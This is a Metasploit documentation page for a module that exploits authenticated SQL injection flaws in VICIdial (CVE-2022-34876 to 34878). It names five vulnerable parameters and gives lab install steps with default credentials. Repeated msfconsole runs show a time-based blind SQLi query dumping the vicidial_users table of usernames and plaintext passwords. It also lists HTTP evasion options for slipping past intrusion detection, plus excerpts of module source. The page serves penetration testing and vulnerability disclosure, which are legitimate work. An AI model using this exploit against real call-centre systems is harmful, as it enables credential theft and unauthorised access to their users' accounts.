VICIdial Multiple Authenticated SQLi - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/vicidial_multiple_sqli metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VICIdial Multiple Authenticated SQLi
Module: auxiliary/scanner/http/vicidial_multiple_sqli
Source code: modules/auxiliary/scanner/http/vicidial_multiple_sqli.rb
Disclosure date: 2022-04-19
Last modification time: 2022-09-21 16:57:18 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-34876, CVE-2022-34877, CVE-2022-34878
This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable). Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter. Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter. Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter. Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter. Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter. VICIdial does not encrypt passwords by default.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/vicidial_multiple_sqli
msf auxiliary(vicidial_multiple_sqli) > show options
... show and set options ...
msf auxiliary(vicidial_multiple_sqli) > set RHOSTS ip-range
msf auxiliary(vicidial_multiple_sqli) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(vicidial_multiple_sqli) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(vicidial_multiple_sqli) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(vicidial_multiple_sqli) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
This module exploits several authenticated SQL Inject vulnerabilities in VICIdial 2.14b0.5 prior to svn/trunk revision 3555 (VICIBox 10.0.0, prior to January 20 is vulnerable).
- Injection point 1 is on vicidial/admin.php when adding a user, in the modify_email_accounts parameter.
- Injection point 2 is on vicidial/admin.php when adding a user, in the access_recordings parameter.
- Injection point 3 is on vicidial/admin.php when adding a user, in the agentcall_email parameter.
- Injection point 4 is on vicidial/AST_agent_time_sheet.php when adding a user, in the agent parameter.
- Injection point 5 is on vicidial/user_stats.php when adding a user, in the file_download parameter.
| v9.0.3 | v10.0.0 | |
|---|---|---|
| List Users - access_recordings method | X | X |
| List Users - agent_time_sheet method | view reports must be enabled |
view reports must be enabled |
| List Users - agentcall_email method | X | X |
| List Users - modify_email_accounts method | X | X |
| List Users - user_stats method | view reports must be enabled |
view reports must be enabled |
VICIdial does not encrypt passwords by default.
VICIBox/VICIdial includes an auto-update mechanism, so be aware for creating vulnerable boxes.
Install
9.0.3 & 10.0.0
- Install the following OpenSUSE 10 ISO ViciBox_v9.x86_64-9.0.3.iso
or ViciBox_v10.x86_64-10.0.0.iso :
- Change the default password (
root:vicidial) - Set Timezone, Keyboard Layout, ok the license, and Language
- Network settings should autoconfigure (Tested on VMware Fusion). Network settings can be configured with the
command
yast lanif necessary
- Change the default password (
- Run
vicibox-expressto initiate the ViciDial Express Installation, everything can be kept as default - Navigate to
http://<ip-address>/- Click
Administrationand login with default credentials username:6666, password:1234 - Once logged in, Click
Continue on to the Initial Setup. Everything can be kept as default.
- Click
- The complete list of setup instructions can be found by following this link
Verification Steps
- Start msfconsole
- Do:
use auxiliary/scanner/http/vicidial_multiple_sqli - Do:
set username <username> - Do:
set password <password> - Do
show actions- Select from the list or keep the default
- Do:
run - The module will exploit the selected SQL injection and return the extracted usernames and passwords
Options
Password
Password for the vicidial instance that corresponds to the username.
Username
Username for the user to login with. Defaults to admin username of 6666.
Scenarios
ViciBox 9.0.3 - List Users - modify_email_accounts method
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - modify_email_accounts method
action => List Users - modify_email_accounts method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(TXMlUAF) from (select cast(concat_ws(';',ifnull(user,''),ifnull(pass,'')) as binary) TXMlUAF from vicidial_users limit 3) jUFFwQn)
[*] {SQLi} Encoded to (select group_concat(TXMlUAF) from (select cast(concat_ws(0x3b,ifnull(user,repeat(0x87,0)),ifnull(pass,repeat(0x52,0))) as binary) TXMlUAF from vicidial_users limit 3) jUFFwQn)
[*] {SQLi} Time-based injection: expecting output of length 46
[!] No active DB -- Credential data will not be saved!
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ViciBox 9.0.3 - List Users - access_recordings method
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - access_recordings method
action => List Users - access_recordings method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ViciBox 9.0.3 - List Users - agent_time_sheet method
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agent_time_sheet method
action => List Users - agent_time_sheet method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ViciBox 9.0.3 - List Users - agentcall_email method
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - agentcall_email method
action => List Users - agentcall_email method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ViciBox 9.0.3 - List Users - user_stats method
msf6 use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set verbose true
verbose => true
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set password notpassword
password => notpassword
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > set action List Users - user_stats method
action => List Users - user_stats method
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > run
[*] Enumerating Usernames and Password Hashes
[+] Dumped table contents:
vicidial_users
==============
user pass
---- ----
6666 notpassword
VDAD donotedit
VDCL donotedit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the scanner/http/vicidial_multiple_sqli auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/vicidial_multiple_sqli
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show info
Name: VICIdial Multiple Authenticated SQLi
Module: auxiliary/scanner/http/vicidial_multiple_sqli
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2022-04-19
Provided by:
h00die
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Available actions:
Name Description
---- -----------
List Users - access_recordings method Queries username, password for COUNT users
List Users - agent_time_sheet method Queries username, password for COUNT users
List Users - agentcall_email method Queries username, password for COUNT users
List Users - modify_email_accounts method Queries username, password for COUNT users
List Users - user_stats method Queries username, password for COUNT users
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION List Users - access_recordings method yes Valid Password for login
COUNT 3 no Number of users to enumerate
PASSWORD yes Valid Password for login
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Me
tasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME 6666 yes Valid Username for login
VHOST no HTTP server virtual host
Description:
This module exploits several authenticated SQL Inject
vulnerabilities in VICIdial 2.14b0.5 prior to svn/trunk revision
3555 (VICIBox 10.0.0, prior to January 20 is vulnerable). Injection
point 1 is on vicidial/admin.php when adding a user, in the
modify_email_accounts parameter. Injection point 2 is on
vicidial/admin.php when adding a user, in the access_recordings
parameter. Injection point 3 is on vicidial/admin.php when adding a
user, in the agentcall_email parameter. Injection point 4 is on
vicidial/AST_agent_time_sheet.php when adding a user, in the agent
parameter. Injection point 5 is on vicidial/user_stats.php when
adding a user, in the file_download parameter. VICIdial does not
encrypt passwords by default.
References:
https://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=41300&sid=aacb27a29fefd85265b4d55fe51122af
https://nvd.nist.gov/vuln/detail/CVE-2022-34876
https://nvd.nist.gov/vuln/detail/CVE-2022-34877
https://nvd.nist.gov/vuln/detail/CVE-2022-34878
Module Options
This is a complete list of options available in the scanner/http/vicidial_multiple_sqli auxiliary module:
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show options
Module options (auxiliary/scanner/http/vicidial_multiple_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION List Users - access_recordings method yes Valid Password for login
COUNT 3 no Number of users to enumerate
PASSWORD yes Valid Password for login
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
etasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME 6666 yes Valid Username for login
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
List Users - access_recordings method Queries username, password for COUNT users
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/vicidial_multiple_sqli auxiliary module:
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show advanced
Module advanced options (auxiliary/scanner/http/vicidial_multiple_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for
non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
SqliDelay 1.0 no The delay to sleep on time-based blind SQL injections
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS no The User-Agent header to use for all requests
X 12.2; rv:97.0) Gecko/20100101 Firef
ox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/vicidial_multiple_sqli module can do:
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show actions
Auxiliary actions:
Name Description
---- -----------
List Users - access_recordings method Queries username, password for COUNT users
List Users - agent_time_sheet method Queries username, password for COUNT users
List Users - agentcall_email method Queries username, password for COUNT users
List Users - modify_email_accounts method Queries username, password for COUNT users
List Users - user_stats method Queries username, password for COUNT users
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/vicidial_multiple_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/vicidial_multiple_sqli) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apac
he)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apa
che)
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
214: 'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
215: 'headers' => basic_auth,
216: 'vars_post' => data
217: })
218:
219: fail_with Failure::Unreachable, 'Connection failed' unless res
220: end
221:
222: def run_host(ip)
223: res = send_request_cgi({
224: 'method' => 'GET',
Failed to load website
Here is a relevant code snippet related to the "Failed to load website" error message:
224: 'method' => 'GET',
225: 'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
226: 'headers' => basic_auth
227: })
228:
229: fail_with(Failure::Unreachable, 'Failed to load website') unless res
230: fail_with(Failure::NoAccess, 'Invalid login/password') if res.code == 401
231: @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
232: d = Rex::Text.rand_text_numeric(4)
233: if datastore['ACTION'] == 'List Users - modify_email_accounts method'
234: inject_admin_page('modify_email_accounts', payload)
Invalid login/password
Here is a relevant code snippet related to the "Invalid login/password" error message:
225: 'uri' => normalize_uri(target_uri.path, 'vicidial', 'admin.php'),
226: 'headers' => basic_auth
227: })
228:
229: fail_with(Failure::Unreachable, 'Failed to load website') unless res
230: fail_with(Failure::NoAccess, 'Invalid login/password') if res.code == 401
231: @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
232: d = Rex::Text.rand_text_numeric(4)
233: if datastore['ACTION'] == 'List Users - modify_email_accounts method'
234: inject_admin_page('modify_email_accounts', payload)
235: elsif datastore['ACTION'] == 'List Users - access_recordings method'
<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay.
Here is a relevant code snippet related to the "<PEER> - Testing of SQLi failed. If this is time based, try increasing SqliDelay." error message:
267: })
268: end
269: end
270:
271: unless @sqli.test_vulnerable
272: print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
273: return
274: end
275: columns = ['user', 'pass']
276:
277: print_status('Enumerating Usernames and Password Hashes')
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Related Pull Requests
References
- https://www.vicidial.org/VICIDIALforum/viewtopic.php?f=4&t=41300&sid=aacb27a29fefd85265b4d55fe51122af
- CVE-2022-34876
- CVE-2022-34877
- CVE-2022-34878
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/vicidial_manager_send_cmd_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- auxiliary/admin/http/typo3_news_module_sqli
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
- auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
- auxiliary/admin/mssql/mssql_escalate_execute_as_sqli
- auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
- auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli
- auxiliary/gather/alienvault_iso27001_sqli
- auxiliary/gather/alienvault_newpolicyform_sqli
- auxiliary/gather/billquick_txtid_sqli
- auxiliary/gather/dolibarr_creds_sqli
- auxiliary/gather/joomla_com_realestatemanager_sqli
- auxiliary/gather/joomla_contenthistory_sqli
- auxiliary/gather/joomla_weblinks_sqli
- auxiliary/gather/mantisbt_admin_sqli
- auxiliary/gather/peplink_bauth_sqli
- auxiliary/gather/pimcore_creds_sqli
- auxiliary/gather/solarwinds_orion_sqli
- auxiliary/gather/suite_crm_export_sqli
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- auxiliary/gather/vbulletin_vote_sqli
- auxiliary/gather/zabbix_toggleids_sqli
- auxiliary/scanner/http/wordpress_cp_calendar_sqli
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
Authors
- h00die
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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